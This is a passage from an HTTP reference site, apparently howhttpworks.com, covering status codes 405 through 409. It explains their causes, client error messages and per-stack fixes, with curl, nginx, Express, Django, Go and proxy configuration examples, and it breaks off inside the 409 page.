`Allow` header** and use one of those methods: `curl -si -X POST URL | grep -i '^allow'`, or ask with `curl -si -X OPTIONS URL`. 2. **A redirect changed your method.** [301](https://howhttpworks.com/status-codes/301) and [302](https://howhttpworks.com/status-codes/302) make most clients re-issue POST as GET, and the target (say a GET-only page) answers 405. Typical triggers: `http` to `https` redirect, `www` to apex, trailing slash redirect. Call the final URL directly, or have the server use [307/308](https://howhttpworks.com/status-codes/308), which preserve the method. 3. **Static hosting.** POSTing a form to a page on GitHub Pages, S3 static hosting, Netlify without a function, or nginx `try_files` serving a file returns 405. Point the form to a real endpoint. 4. **A framework route only handles some verbs.** Add the handler. Next.js App Router needs an exported function named exactly `POST`, `PUT` and so on in `route.ts`; Express needs `app.post(...)`, and a `GET`-only `app.get` yields `Cannot POST /path` (404 from Express, not 405). 5. **Proxy or WAF restrictions.** `limit_except GET { deny all; }` in nginx returns 403, not 405; but ModSecurity and CDN rules often return 405 for PUT, DELETE and PATCH. Allow the verbs for that path. 6. **CORS preflight.** An `OPTIONS` request that your server answers with 405 breaks cross-origin PUT/DELETE/JSON POST. Handle `OPTIONS` and return `Access-Control-Allow-Methods` (see [CORS preflight debugging](https://howhttpworks.com/debug/cors-preflight)). 7. **HTML forms only do GET and POST.** `` is treated as GET. Use `fetch`, or a hidden `_method` override your framework understands. 8. **HEAD or OPTIONS rejected.** Monitoring tools and crawlers send HEAD; a handler that omits it returns 405 and trips health checks. Most servers should accept HEAD wherever GET is accepted (RFC 9110 section 9.1). ## Fix by stack ### nginx ```nginx # POST to a location that serves static files => 405. Route it to the app instead. location /api/ { proxy_pass http://127.0.0.1:3000; } # Optional workaround for legacy POST-to-static error_page 405 =200 $uri; ``` ### Apache ```apache # Restrict verbs: denied methods get 403, not 405, unless you return 405 yourself Require all denied ``` ### Express / Node.js ```javascript app.route('/api/items') .get(listItems) .post(createItem) .all((req, res) => { res.set('Allow', 'GET, POST, OPTIONS').status(405).json({ error: 'method_not_allowed' }) }) ``` ### Next.js, Flask, Django ```typescript // app/api/items/route.ts : Next.js App Router export async function GET() { return Response.json([]) } export async function POST(req: Request) { return Response.json(await req.json(), { status: 201 }) } // Any other method gets 405 with an automatic Allow header. ``` Flask returns 405 with an `Allow` header automatically when `methods=[...]` does not include the verb. Django class-based views return `HttpResponseNotAllowed` using `http_method_not_allowed`; DRF returns `{"detail":"Method \"DELETE\" not allowed."}`. ## Reproduce and verify ```bash curl -si -X DELETE https://api.example.com/items | sed -n '1p;/^[Aa]llow/p' curl -si -X OPTIONS https://api.example.com/items | grep -i '^allow' curl -sv -L -d 'a=1' http://example.com/form 2>&1 | grep -E '^> (POST|GET)' ``` The last command shows whether the second request in a redirect chain is still POST. Plain `curl -L -d` switches to GET after 301/302 unless you pass `--post301`/`--post302`, which is also what browsers do. ## Related 405 lives next to [404](https://howhttpworks.com/status-codes/404), [501](https://howhttpworks.com/status-codes/501), and [400](https://howhttpworks.com/status-codes/400). Method semantics: [GET](https://howhttpworks.com/methods/get), [POST](https://howhttpworks.com/methods/post), [PUT](https://howhttpworks.com/methods/put), [DELETE](https://howhttpworks.com/methods/delete), [OPTIONS](https://howhttpworks.com/methods/options). Try a bad verb in the [request builder](https://howhttpworks.com/tools/playground). --- # 406 Not Acceptable > The server cannot produce a response matching the client's Accept headers. Learn about content negotiation and how to handle format mismatches. Source: https://howhttpworks.com/status-codes/406 Last reviewed: 2026-10-05 > **TL;DR:** 406 Not Acceptable means the server cannot return a response in a format your request accepts. Check `Accept` first, then request a supported media type; for SOAP, match the response type to the SOAP version. ## What you see in your client These are the client formats for a response carrying 406 and the reason phrase `Not Acceptable`; the URLs are placeholders. They are derived from library source, rather than captured server output. A server-supplied reason phrase can change the Python, .NET and Spring text. - **Axios:** `AxiosError: Request failed with status code 406`. With the default status validation, the promise rejects; inspect `error.response.status`, `error.response.data` and `error.response.headers`. [Axios constructs this message in `settle`](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **fetch:** the promise resolves when the HTTP response arrives. `response.status === 406` and `response.ok === false`; check those before reading a success payload. A network failure rejects separately. [MDN documents this distinction](https://developer.mozilla.org/en-US/docs/Web/API/Window/fetch). - **Python requests:** `requests.exceptions.HTTPError: 406 Client Error: Not Acceptable for url: https://api.example.com/resource`. This comes from `response.raise_for_status()`, not from `requests.get()` alone. Save the body before raising if it contains useful diagnostics. [Requests source](https://requests.readthedocs.io/en/latest/_modules/requests/models/#Response.raise_for_status). - **curl `-f`:** `curl: (22) The requested URL returned error: 406`. `curl -i` shows headers and the error body without fail mode; `--fail-with-body` keeps the body while returning a failing exit code. [curl source](https://github.com/curl/curl/blob/master/lib/http.c), [option documentation](https://curl.se/docs/manpage.html#--fail-with-body). - **.NET:** `System.Net.Http.HttpRequestException: Response status code does not indicate success: 406 (Not Acceptable).` This is the English message from `EnsureSuccessStatusCode()`; inspect the `HttpResponseMessage` first when you need its body. [Runtime message template](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring:** `WebClientResponseException.NotAcceptable` with message `406 Not Acceptable from GET https://api.example.com/resource` for `WebClient.retrieve()`. RestTemplate's default error handler uses `HttpClientErrorException.NotAcceptable`; its message can include the response body. These class names follow the [Spring 6.2 WebClient source](https://github.com/spring-projects/spring-framework/blob/6.2.x/spring-webflux/src/main/java/org/springframework/web/reactive/function/client/WebClientResponseException.java) and [HTTP client source](https://github.com/spring-projects/spring-framework/blob/v6.2.0/spring-web/src/main/java/org/springframework/web/client/HttpClientErrorException.java). ## What is 406 Not Acceptable? A **406 Not Acceptable** status code means the server cannot produce a response that matches the client's Accept headers. A JSON-only endpoint can reject `Accept: application/pdf` because it has no PDF representation. This happens during content negotiation when the server understands the request but can't deliver the content in the format, language, or encoding the client requested. ## Common causes by stack - **Express:** `res.format()` finds no matching `Accept` media type and has no `default` callback. Add the missing representation or a deliberate fallback; inspect `req.accepts(['json', 'xml'])` before selecting a format. [Express response API](https://expressjs.com/en/5x/api/response/#res.format). - **Django REST Framework:** none of the view's renderers can satisfy `Accept`, so DRF raises `NotAcceptable` with status 406. Check `renderer_classes` or `DEFAULT_RENDERER_CLASSES`; a JSON-only view needs `Accept: application/json`. [DRF exceptions](https://www.django-rest-framework.org/api-guide/exceptions/#notacceptable). - **Spring Boot / Spring MVC:** `HttpMediaTypeNotAcceptableException` maps to 406. Compare the controller's `produces` media types with the request's `Accept`, then check the configured message converters. An XML response needs an XML-capable converter. [Spring resolver mappings](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/web/servlet/mvc/support/DefaultHandlerExceptionResolver.html). - **ASP.NET Core MVC:** with `ReturnHttpNotAcceptable = true`, an `ObjectResult` returns 406 when no output formatter can satisfy `Accept`. Register `AddXmlSerializerFormatters()` when you intend to serve XML, or request JSON. Browser Accept headers are ignored by default unless `RespectBrowserAcceptHeader` is enabled. [Microsoft formatting documentation](https://learn.microsoft.com/en-us/aspnet/core/web-api/advanced/formatting). - **Apache:** `mod_negotiation`, including `Options MultiViews`, cannot choose an acceptable file variant. Check the variant media types and language metadata; use `Options -MultiViews` if the route should resolve directly rather than negotiate filenames. [Apache negotiation](https://httpd.apache.org/docs/2.4/content-negotiation.html). ## Fix a 406 on a SOAP call Start with the outgoing HTTP headers, before debugging the XML envelope. SOAP 1.1 uses `text/xml`; SOAP 1.2 uses `application/soap+xml`. An endpoint returning SOAP XML cannot satisfy a JSON-only `Accept` preference under strict negotiation. Set `Accept` to the response media type documented for that binding. [SOAP 1.1 HTTP binding](https://www.w3.org/TR/2000/NOTE-SOAP-20000508/#_Toc478383526), [SOAP 1.2 media type](https://www.w3.org/TR/soap12-part2/#httpmediatype). For a SOAP 1.2 endpoint, this request keeps the input and output media types separate: ```bash curl -i https://api.example.com/soap \ -H 'Content-Type: application/soap+xml; charset=utf-8' \ -H 'Accept: application/soap+xml' \ --data-binary @request.xml ``` A 406 points you toward the response preference; [415](https://howhttpworks.com/status-codes/415) points toward the request body type. Compare a failing SOAP client's headers with a successful request to the same endpoint. Keep `SOAPAction` and SOAP 1.2's action parameter aligned with the service binding; changing `Accept` cannot fix an operation-name mismatch. ## When Does This Happen? You'll see a 406 Not Acceptable response in these common situations: **1. Unsupported Media Type** ```text Client requests JSON, server only has XML Accept: application/json → 406 (only text/xml available) ``` **2. Unsupported Language** ```text Client requests Spanish, server only has English Accept-Language: es → 406 (only en available) ``` **3. Unsupported Encoding** `Accept-Encoding: gzip` still allows an uncompressed response. Identity is excluded with `identity;q=0`, or `*;q=0` without a more specific identity entry. [RFC 9110 section 12.5.3](https://www.rfc-editor.org/rfc/rfc9110#name-accept-encoding). ```text Client excludes uncompressed responses, server only has identity Accept-Encoding: gzip, identity;q=0 → 406 if server refuses the preference ``` **4. Unsupported Charset** ```text Client requests UTF-16, server only has UTF-8 Accept-Charset: utf-16 → 406 (only utf-8 available) ``` **5. API Version Mismatch** ```text Client requests v2 format, server deprecated it Accept: application/vnd.api.v2+json → 406 ``` ## Example Responses The wire responses on this page are illustrative; available formats and error bodies belong to the application. **Media Type Mismatch:** ```http HTTP/1.1 406 Not Acceptable Content-Type: application/json Vary: Accept { "error": "Not Acceptable", "message": "Cannot produce response in requested format", "requested": "application/pdf", "available": [ "application/json", "text/html", "application/xml" ] } ``` **Language Not Available:** ```http HTTP/1.1 406 Not Acceptable Content-Type: text/html; charset=utf-8 Content-Language: en Vary: Accept-Language Language Not Available

Requested Language Not Available

The requested language (es) is not available.

Available languages: en, fr, de

``` **Encoding Not Supported:** ```http HTTP/1.1 406 Not Acceptable Content-Type: application/json Vary: Accept-Encoding { "error": "Encoding not acceptable", "message": "Server cannot produce response with requested encoding", "requested_encoding": "compress, identity;q=0, *;q=0", "supported_encodings": ["gzip", "deflate", "br", "identity"] } ``` ## Real-World Example Imagine you're building an API client that only accepts JSON responses: **Client Request (JSON Only):** ```http GET /api/users/12345 HTTP/1.1 Host: api.example.com Accept: application/json Accept-Language: en-US Accept-Encoding: gzip, deflate ``` **Server Only Has XML:** ```http HTTP/1.1 406 Not Acceptable Content-Type: application/json Vary: Accept Link: ; rel="help" { "status": 406, "error": "Not Acceptable", "message": "Cannot produce response in application/json format", "details": { "requested_format": "application/json", "available_formats": [ { "media_type": "application/xml", "example_url": "/api/users/12345?format=xml" }, { "media_type": "text/html", "example_url": "/api/users/12345.html" } ] }, "help_url": "https://api.example.com/docs/formats" } ``` **Alternative: Server Ignores Accept and Returns Default:** ```http HTTP/1.1 200 OK Content-Type: application/xml Vary: Accept 12345 John Doe ``` ## 406 vs Other Client Error Codes | Code | Meaning | Issue | Solution | | ------- | ---------------------- | --------------------------- | ------------------------ | | **406** | Not acceptable | Response format unavailable | Request different format | | **415** | Unsupported media type | Request format unacceptable | Send different format | | **400** | Bad request | Malformed request | Fix request syntax | | **404** | Not found | Resource doesn't exist | Check URL | ## Important Characteristics **Content Negotiation Failure:** ```text Client: Accept: application/pdf Server: Can only produce: application/json, text/html Result: 406 Not Acceptable ``` **Proactive vs Reactive:** ```text Proactive negotiation: - Client specifies preferences in Accept headers - Server selects best match OR returns 406 Reactive negotiation: - Server returns 300 Multiple Choices - Client selects from available options ``` **Vary Header Important:** List the request fields used to select the representation: ```http HTTP/1.1 406 Not Acceptable Vary: Accept, Accept-Language Content-Type: application/json ``` ## Common Mistakes **Include the available formats** ```http HTTP/1.1 406 Not Acceptable Content-Type: text/plain Not acceptable. ``` **Use 415 for an unsupported request body** ```text POST /api/users Content-Type: text/csv ← Request body format issue HTTP/1.1 406 Not Acceptable ← Wrong! Should be 415 ``` **Choose strict negotiation or a default deliberately** ```text Accept: application/vnd.custom.v99+json HTTP/1.1 406 Not Acceptable ← Valid strict negotiation; ignoring Accept is another policy ``` **Return useful negotiation details** ```http HTTP/1.1 406 Not Acceptable Content-Type: application/json Vary: Accept { "error": "Not Acceptable", "available_formats": ["application/json", "text/html"], "documentation": "/docs/api-formats" } ``` ## Getting 406 Not Acceptable right **Provide List of Available Formats:** ```http HTTP/1.1 406 Not Acceptable Content-Type: application/json Vary: Accept Link: ; rel="alternate"; type="application/json" Link: ; rel="alternate"; type="application/xml" { "error": "Format not available", "requested": "application/pdf", "available": [ { "format": "application/json", "url": "/users/123?format=json" }, { "format": "application/xml", "url": "/users/123?format=xml" }, { "format": "text/html", "url": "/users/123.html" } ] } ``` **Consider Serving Default Format:** ```javascript // Instead of strict 406, serve default if possible app.get('/api/resource', (req, res) => { const accept = req.accepts(['json', 'xml', 'html']) if (!accept) { // Could return 406, but serving default is more user-friendly console.warn('No acceptable format, serving JSON') return res.json({ data: resource }) } switch (accept) { case 'json': return res.json({ data: resource }) case 'xml': return res.type('xml').send(toXML(resource)) case 'html': return res.render('resource', { data: resource }) } }) ``` **Include Documentation Links:** ```http HTTP/1.1 406 Not Acceptable Content-Type: application/json Link: ; rel="help" { "error": "Not Acceptable", "message": "Requested format not available", "documentation": "https://docs.example.com/api/content-negotiation" } ``` **Use Vary Header Correctly:** ```http HTTP/1.1 406 Not Acceptable Vary: Accept, Accept-Language, Accept-Encoding Content-Type: application/json { "error": "Content negotiation failed", "details": "Cannot provide es-MX in gzip encoding" } ``` ## Content Negotiation Preferences **Quality Values:** ```http Accept: application/json;q=1.0, application/xml;q=0.8, text/html;q=0.5 ``` **Wildcard Handling:** ```http Accept: application/json, */*;q=0.1 ``` **Server Response Strategy:** `parseAcceptHeader` below is a project parser, not a built-in API. It must resolve wildcards against supported types, apply the most specific range and sort by effective quality. An absent Accept field accepts any media type; `q=0` excludes a matching representation. ```javascript function selectFormat(acceptHeader) { const supported = ['application/json', 'application/xml'] // Project helper resolves wildcards and specificity against supported types. const preferred = parseAcceptHeader(acceptHeader, supported) for (let format of preferred) { if (format.q > 0 && supported.includes(format.type)) { return format.type } } throw new NotAcceptableError(supported) } ``` ## Implementation Examples **Express.js:** ```javascript app.get('/api/users/:id', (req, res) => { const user = getUser(req.params.id) // Content negotiation res.format({ 'application/json': () => { res.json(user) }, 'application/xml': () => { res.type('xml').send(userToXML(user)) }, 'text/html': () => { res.render('user', { user }) }, default: () => { // 406 Not Acceptable res.status(406).json({ error: 'Not Acceptable', available: ['application/json', 'application/xml', 'text/html'] }) } }) }) ``` **Django:** Django 5.2 added [`get_preferred_type()`](https://docs.djangoproject.com/en/5.2/ref/request-response/#django.http.HttpRequest.get_preferred_type). Use it instead of substring matching, which mishandles `q=0` and wildcards. `Vary: Accept` keeps negotiated responses separate in caches. ```python from django.http import JsonResponse, HttpResponse from django.shortcuts import render from django.views.decorators.vary import vary_on_headers from django.utils.decorators import method_decorator from django.views import View class UserDetailView(View): @method_decorator(vary_on_headers("Accept")) def get(self, request, user_id): user = get_user(user_id) accepted = request.get_preferred_type([ 'application/json', 'application/xml', 'text/html' ]) if accepted == 'application/json': return JsonResponse({'user': user}) elif accepted == 'application/xml': return HttpResponse(user_to_xml(user), content_type='application/xml') elif accepted == 'text/html': return render(request, 'user.html', {'user': user}) else: return JsonResponse({ 'error': 'Not Acceptable', 'available': ['application/json', 'application/xml', 'text/html'] }, status=406) ``` **ASP.NET Core:** ```csharp // Configure MVC output negotiation at startup. builder.Services.AddControllers(options => { options.ReturnHttpNotAcceptable = true; options.RespectBrowserAcceptHeader = true; }).AddXmlSerializerFormatters(); // Controller: MVC chooses a configured formatter for the object. [HttpGet("api/users/{id}")] public IActionResult GetUser(int id) { var user = _userService.GetUser(id); return Ok(user); } ``` **Go:** Here `negotiateMediaType` is a project helper, not a Go standard-library function. It must honor media ranges and reject `q=0`; searching the header with `strings.Contains` would accept explicitly excluded types. ```go func userHandler(w http.ResponseWriter, r *http.Request) { user := getUser(r.URL.Query().Get("id")) // Project helper: parse media ranges, specificity, wildcards and q weights. selected := negotiateMediaType(r.Header.Get("Accept"), []string{"application/json", "application/xml"}) w.Header().Set("Vary", "Accept") switch selected { case "application/json": w.Header().Set("Content-Type", "application/json") json.NewEncoder(w).Encode(user) case "application/xml": w.Header().Set("Content-Type", "application/xml") xml.NewEncoder(w).Encode(user) default: w.Header().Set("Content-Type", "application/json") w.WriteHeader(http.StatusNotAcceptable) json.NewEncoder(w).Encode(map[string]interface{}{ "error": "Not Acceptable", "available": []string{"application/json", "application/xml"}, }) } } ``` ## Try It Yourself Visit our [request builder](https://howhttpworks.com/tools/playground) and trigger a 406 response: 1. Set method to **GET** 2. Set path to **/api/users/1** 3. Add header `Accept: application/pdf` 4. Click **Send request** 5. See 406 with list of available formats ## Try it with curl Ask a JSON-only API for XML. ```bash curl -i -H 'Accept: application/xml' https://api.example.com/users/1 ``` A JSON-only endpoint could respond: ```http HTTP/1.1 406 Not Acceptable content-type: application/json {"error":"not_acceptable","supported":["application/json"]} ``` Repeat with `-H 'Accept: application/json'` and you should get a `200`. Many servers ignore `Accept` and return JSON anyway, so a `200` here is normal, not a bug in your command. ## Related Status Codes - [415 Unsupported Media Type](https://howhttpworks.com/status-codes/415) - Request body format not supported - [300 Multiple Choices](https://howhttpworks.com/status-codes/300) - Multiple representation options available - [400 Bad Request](https://howhttpworks.com/status-codes/400) - Malformed request - [200 OK](https://howhttpworks.com/status-codes/200) - Successful content negotiation --- # 407 Proxy Authentication Required: Fix It > 407 means your proxy wants credentials before forwarding the request. Fix it in curl, npm, pip, git and browsers, and learn how Proxy-Authenticate works. Source: https://howhttpworks.com/status-codes/407 Last reviewed: 2026-10-04 > **TL;DR:** 407 comes from a proxy, not the website. It wants credentials in a `Proxy-Authorization` header before it will forward your request. Check which scheme `Proxy-Authenticate` asks for, then supply credentials the tool actually supports (Basic is common; NTLM/Kerberos usually need a helper). ## What it means This is the proxy equivalent of [401](https://howhttpworks.com/status-codes/401). The proxy challenges you, you retry with credentials, the proxy forwards the request. RFC 9110 §15.5.8 requires the 407 to include `Proxy-Authenticate`. ```http GET http://example.com/ HTTP/1.1 Host: example.com HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Corp Proxy" Content-Type: text/html Content-Length: 0 ``` Retry with credentials: ```http GET http://example.com/ HTTP/1.1 Host: example.com Proxy-Authorization: Basic YWxpY2U6czNjcmV0 ``` The value is `base64("alice:s3cret")`. Basic is not encryption. Over plain HTTP it is readable by anything on the path to the proxy, so only use it to a proxy you reach over a trusted network or TLS. ## HTTPS goes through CONNECT For `https://` URLs, a client asks the proxy to open a tunnel with `CONNECT`, and the proxy usually challenges there: ```http CONNECT api.example.com:443 HTTP/1.1 Host: api.example.com:443 HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Negotiate Proxy-Authenticate: NTLM Proxy-Authenticate: Basic realm="Corp Proxy" ``` This is why the symptoms look TLS-shaped even though it is an HTTP-level refusal. You will see: ```text curl: (56) Received HTTP code 407 from proxy after CONNECT ``` ```text pip: ProxyError('Cannot connect to proxy.', OSError('Tunnel connection failed: 407 Proxy Authentication Required')) ``` Chrome shows `ERR_TUNNEL_CONNECTION_FAILED` when it cannot authenticate to the proxy, or prompts for credentials if it can. ## Diagnosis 1. Find out which proxy is in play: `env | grep -i proxy`, `git config --get http.proxy`, `npm config get proxy`, system settings, or a PAC file. 2. See what the proxy offers: ```bash curl -v -x http://proxy.corp.example:8080 https://example.com/ 2>&1 | grep -i -E 'proxy-authenticate|HTTP/1.1 407' ``` 3. Read the schemes. `Basic` works with username and password in most tools. `NTLM` and `Negotiate` (Kerberos) tie to your Windows login, and most CLI tools cannot do them natively. ## Fix it per tool curl: ```bash curl -x http://proxy.corp.example:8080 --proxy-user alice:s3cret https://example.com/ # NTLM / Negotiate curl -x http://proxy.corp.example:8080 --proxy-ntlm --proxy-user alice:s3cret https://example.com/ curl -x http://proxy.corp.example:8080 --proxy-negotiate --proxy-user : https://example.com/ ``` Environment variables (honoured by curl, pip, Go, Python requests and many others). Percent-encode special characters in the password: ```bash export HTTPS_PROXY='http://alice:p%40ss%23word@proxy.corp.example:8080' export HTTP_PROXY="$HTTPS_PROXY" export NO_PROXY='localhost,127.0.0.1,.corp.example' ``` npm, pip and git: ```bash npm config set proxy http://alice:s3cret@proxy.corp.example:8080 npm config set https-proxy http://alice:s3cret@proxy.corp.example:8080 pip install --proxy http://alice:s3cret@proxy.corp.example:8080 requests git config --global http.proxy http://alice:s3cret@proxy.corp.example:8080 ``` Credentials in config files and shell history are a leak risk. Prefer environment variables from a secrets store or an interactive prompt (`curl --proxy-user alice` prompts for the password). If the proxy only offers NTLM or Kerberos, run a local forwarding helper (cntlm, px, or a corporate-provided agent), point your tools at `http://127.0.0.1:3128`, and let the helper authenticate upstream. ## If you operate the proxy Squid with Basic authentication: ```text auth_param basic program /usr/lib/squid/basic_ncsa_auth /etc/squid/passwords auth_param basic realm Corp Proxy acl authenticated proxy_auth REQUIRED http_access allow authenticated http_access deny all ``` Two operational traps. First, `Proxy-Authorization` is a hop-by-hop credential: the proxy must not forward it to the origin. Second, if your proxy does a 407 challenge on a plain HTTP request and your client is an API SDK that does not understand proxy auth, the SDK often surfaces an unhelpful JSON parse error because the 407 body is an HTML page. ## 407 vs 401 vs 403 | | 401 | 407 | 403 | |---|---|---|---| | Issued by | Origin | Proxy | Either | | Challenge header | `WWW-Authenticate` | `Proxy-Authenticate` | none | | Retry with | `Authorization` | `Proxy-Authorization` | credentials will not help | ## Related - [401 Unauthorized](https://howhttpworks.com/status-codes/401): the origin-server version. - [403 Forbidden](https://howhttpworks.com/status-codes/403) - [Proxy-Authenticate](https://howhttpworks.com/headers/proxy-authenticate) and [Proxy-Authorization](https://howhttpworks.com/headers/proxy-authorization) - [Via](https://howhttpworks.com/headers/via): shows proxies a request passed through. - [502 Bad Gateway](https://howhttpworks.com/status-codes/502): what a proxy returns when it can reach no upstream. --- # 408 Request Timeout > 408 Request Timeout means the server gave up waiting for the client to finish sending. Tune nginx, Apache, Node and ALB timeouts and tell it apart from 504. Source: https://howhttpworks.com/status-codes/408 Last reviewed: 2026-10-05 > **TL;DR:** 408 Request Timeout means the server waited too long for your client to finish sending the request. Check upload stalls and request-read timeouts, then retry on a fresh connection when the operation is safe to repeat. RFC 9110 section 15.5.9: the server "did not receive a complete request message within the time that it was prepared to wait". It usually sends `Connection: close`, and a client "MAY repeat that request on a new connection". Some servers send 408 on an unused connection, including connections opened by browser preconnect. Match the log entry to an actual failed request before treating it as an upload failure. [MDN describes unused connections](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/408). An illustrative HTTP/1.1 response: ```http HTTP/1.1 408 Request Timeout Connection: close Content-Length: 0 ``` ## What you see in your client These are the client formats for a response carrying 408 and the reason phrase `Request Timeout`; the URLs are placeholders. They are derived from library source, rather than captured server output. A server-supplied reason phrase can change the Python, .NET and Spring text. - **Axios:** `AxiosError: Request failed with status code 408`. With the default status validation, the promise rejects; inspect `error.response.status`, `error.response.data` and `error.response.headers`. [Axios constructs this message in `settle`](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **fetch:** the promise resolves when the HTTP response arrives. `response.status === 408` and `response.ok === false`; check those before reading a success payload. A network failure rejects separately. [MDN documents this distinction](https://developer.mozilla.org/en-US/docs/Web/API/Window/fetch). - **Python requests:** `requests.exceptions.HTTPError: 408 Client Error: Request Timeout for url: https://api.example.com/resource`. This comes from `response.raise_for_status()`, not from `requests.get()` alone. Save the body before raising if it contains useful diagnostics. [Requests source](https://requests.readthedocs.io/en/latest/_modules/requests/models/#Response.raise_for_status). - **curl `-f`:** `curl: (22) The requested URL returned error: 408`. `curl -i` shows headers and the error body without fail mode; `--fail-with-body` keeps the body while returning a failing exit code. [curl source](https://github.com/curl/curl/blob/master/lib/http.c), [option documentation](https://curl.se/docs/manpage.html#--fail-with-body). - **.NET:** `System.Net.Http.HttpRequestException: Response status code does not indicate success: 408 (Request Timeout).` This is the English message from `EnsureSuccessStatusCode()`; inspect the `HttpResponseMessage` first when you need its body. [Runtime message template](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring:** `WebClientResponseException` with message `408 Request Timeout from GET https://api.example.com/resource` for `WebClient.retrieve()`. RestTemplate's default error handler uses `HttpClientErrorException`; its message can include the response body. These class names follow the [Spring 6.2 WebClient source](https://github.com/spring-projects/spring-framework/blob/6.2.x/spring-webflux/src/main/java/org/springframework/web/reactive/function/client/WebClientResponseException.java) and [HTTP client source](https://github.com/spring-projects/spring-framework/blob/v6.2.0/spring-web/src/main/java/org/springframework/web/client/HttpClientErrorException.java). ## Who sent it? | Evidence | Layer | | --- | --- | | nginx log `client timed out (110: Connection timed out) while reading client request headers` or `... request body` | nginx `client_header_timeout` / `client_body_timeout` | | Apache body `Request Timeout - Server timeout waiting for the HTTP request from the client.`; log `AH01382: Request header read timeout` or `AH01382: Request body read timeout` | `mod_reqtimeout` | | ALB access log `elb_status_code` 408 and target status `-` | ALB: client did not send a complete request within the idle timeout (60 s default) | | Node returns it with no handler involvement | `http.Server` `requestTimeout` (300 s default since Node 18) or `headersTimeout` (minimum of 60 s and `requestTimeout`) | | Empty/unfinished request line and no user error | A connection opened without a complete request; correlate with client activity | ## Fix it, most common first 1. **Slow or large uploads on a poor link.** Raise the body timeout or upload in chunks (resumable uploads, S3 multipart, tus). Reducing the payload (compression, image resize) is better than a long timeout, which also leaves connections open longer under slow-client attacks. 2. **Client opens a connection and sends nothing.** Browser preconnect and speculative connections cause 408s in access logs for requests nobody made. Correlate them with an empty request line and client activity before filtering alerts. 3. **Keep-alive races behind ALB.** Match the log status first. A target closing its connection before ALB expects it can cause [502](https://howhttpworks.com/status-codes/502). Set the target keep-alive timeout above the ALB idle timeout to address that separate failure, rather than treating every closed socket as 408. 4. **Proxy buffering a slow upload.** nginx reads the full body before proxying by default; a slow client trips `client_body_timeout`, not your app's timeout. 5. **Client-side tools.** Postman and curl have own timeouts (`curl --max-time`, `--connect-timeout`) that report errors differently, as `curl: (28)`, not a 408. ## Common causes by stack - **nginx:** an incomplete header or stalled body exceeds the client-read timeout; inspect the `client timed out` error-log context and the directives below. Both client-read defaults are 60 seconds. [nginx core module](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_timeout). - **Apache:** `mod_reqtimeout` expires its header/body read budget or minimum data rate. Check `AH01382`, then the `RequestReadTimeout` rule. [Apache source](https://github.com/apache/httpd/blob/2.4.x/modules/filters/mod_reqtimeout.c). - **Express on Node.js:** the HTTP server parser can emit 408 before Express receives the request. Inspect `server.headersTimeout` and `server.requestTimeout` rather than a route handler or database query timeout. [Node HTTP timeouts](https://nodejs.org/api/http.html#serverrequesttimeout). - **AWS ALB:** the client sends no data within the configured idle interval. TCP keep-alives do not reset it; AWS requires at least one byte of data within each interval. Check `elb_status_code` against `target_status_code` in the access log. [AWS troubleshooting](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-troubleshooting.html#http-408-issues). ## Fix by stack ### nginx ```nginx http { client_header_timeout 15s; # default 60s client_body_timeout 120s; # default 60s; time between two successive reads, not total send_timeout 60s; keepalive_timeout 75s; } ``` A header-read timeout closes the nginx request with status 408; the client may receive a closed connection rather than a response body. Match the access log with the error-log context. [nginx request handling](https://github.com/nginx/nginx/blob/master/src/http/ngx_http_request.c). ### Apache ```apache LoadModule reqtimeout_module modules/mod_reqtimeout.so RequestReadTimeout header=20-40,MinRate=500 body=20,MinRate=500 ``` ### Node.js and Go ```javascript const server = http.createServer(app) server.keepAliveTimeout = 65_000 // above ALB idle timeout (60 s) server.headersTimeout = 66_000 // chosen header-read budget; independent of idle keep-alive server.requestTimeout = 120_000 // whole request, 408 if exceeded; 0 disables ``` Go uses [socket read deadlines](https://pkg.go.dev/net/http#Server); configure their header, whole-request and idle budgets separately: ```go srv := &http.Server{ ReadHeaderTimeout: 10 * time.Second, ReadTimeout: 60 * time.Second, IdleTimeout: 75 * time.Second, } ``` ### AWS ALB Raise the load balancer attribute `idle_timeout.timeout_seconds` (default 60) only if clients really send slowly; otherwise fix the client. ALB 408s count under `HTTPCode_ELB_4XX_Count`. ## Client handling Treat 408 like a connection error: retry the request on a new connection with backoff. It is safe only when the method is idempotent or the server never began processing; for POST add an `Idempotency-Key` where the API supports one. Cap attempts and keep a record of the final status. ## Reproduce and verify ```bash # Send a complete header and stall the body: use a local test server (printf 'POST /upload HTTP/1.1\r\nHost: localhost\r\nContent-Length: 100\r\n\r\npartial'; sleep 90) \ | nc localhost 8080 # A continuous trickle tests total request time, not nginx gaps between reads curl -v --limit-rate 100 -T bigfile.bin https://example.com/upload ``` ## 408 vs 504 and 524 - 408: the client was too slow sending the request. - [504 Gateway Timeout](https://howhttpworks.com/status-codes/504): a proxy waited too long for the upstream response. - [524](https://howhttpworks.com/status-codes/524): Cloudflare connected to the origin but received no response within its proxy read timeout (125 seconds by default). - [429](https://howhttpworks.com/status-codes/429): the client sent too many requests, not too slowly. - [400](https://howhttpworks.com/status-codes/400): the request arrived but was invalid. Try timeouts hands-on in the [request builder](https://howhttpworks.com/tools/playground). --- # 409 Conflict > 409 Conflict means the request clashes with the resource's current state: duplicates, stale versions, locks. Use ETags and If-Match, and handle retries. Source: https://howhttpworks.com/status-codes/409 Last reviewed: 2026-10-05 > **TL;DR:** 409 Conflict means your request conflicts with the resource's current state. Read the error body, fetch the current resource, and resolve the duplicate, stale version or blocked operation before retrying. RFC 9110 section 15.5.10: the request "could not be completed due to a conflict with the current state of the target resource", and the response should include enough information for the user to recognize the source of the conflict. Because the state can change, the client can usually fix it and resubmit. If the failure is a failed precondition header (`If-Match`, `If-Unmodified-Since`), the precise code is [412 Precondition Failed](https://howhttpworks.com/status-codes/412); many APIs use 409 for version-field conflicts in the body. The wire exchange below is illustrative. ```http HTTP/1.1 409 Conflict Content-Type: application/problem+json { "type": "https://api.example.com/problems/duplicate-email", "title": "Email already registered", "status": 409, "detail": "A user with email ana@example.com 